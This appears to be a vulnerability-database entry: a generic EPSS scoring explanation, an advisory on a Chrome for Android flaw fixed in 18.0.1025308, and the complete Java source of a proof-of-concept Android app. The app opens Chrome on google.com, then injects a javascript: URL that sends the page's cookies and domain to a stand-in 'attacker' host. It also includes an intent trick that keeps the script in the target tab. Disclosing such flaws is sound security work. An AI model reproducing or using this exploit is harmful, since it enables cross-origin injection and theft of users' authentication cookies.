EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Attackers may exploit these issues to execute arbitrary code in the context of the browser, obtain potentially sensitive information, bypass the same-origin policy, and steal cookie-based authentication credentials; other attacks are also possible. Versions prior to Chrome for Android 18.0.1025308 are vulnerable. package jp.mbsd.terada.attackchrome1; import android.app.Activity; import android.os.Bundle; import android.content.Intent; import android.net.Uri; public class Main extends Activity { @Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.main); doit(); } // get intent to invoke the chrome app public Intent getIntentForChrome(String url) { Intent intent = new Intent("android.intent.action.VIEW"); intent.setClassName("com.android.chrome", "com.google.android.apps.chrome.Main"); intent.setData(Uri.parse(url)); return intent; } public void doit() { try { // At first, force the chrome app to open a target Web page Intent intent1 = getIntentForChrome("http://www.google.com/1"); startActivity(intent1); // wait a few seconds Thread.sleep(3000); // JS code to inject into the target (www.google.com) String jsURL = "javascript:var e=encodeURIComponent,img=document.createElement('img');" + "img.src='http://attacker/?c='+e(document.cookie)+'&d='+e(document.domain);" + "document.body.appendChild(img);"; Intent intent2 = getIntentForChrome(jsURL); // Trick to prevent Chrome from opening the JS URL in a different tab intent2.putExtra("com.android.browser.application_id", "com.android.chrome"); intent2.addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP); // Inject JS into the target Web page startActivity(intent2); } catch (Exception e) {} } }
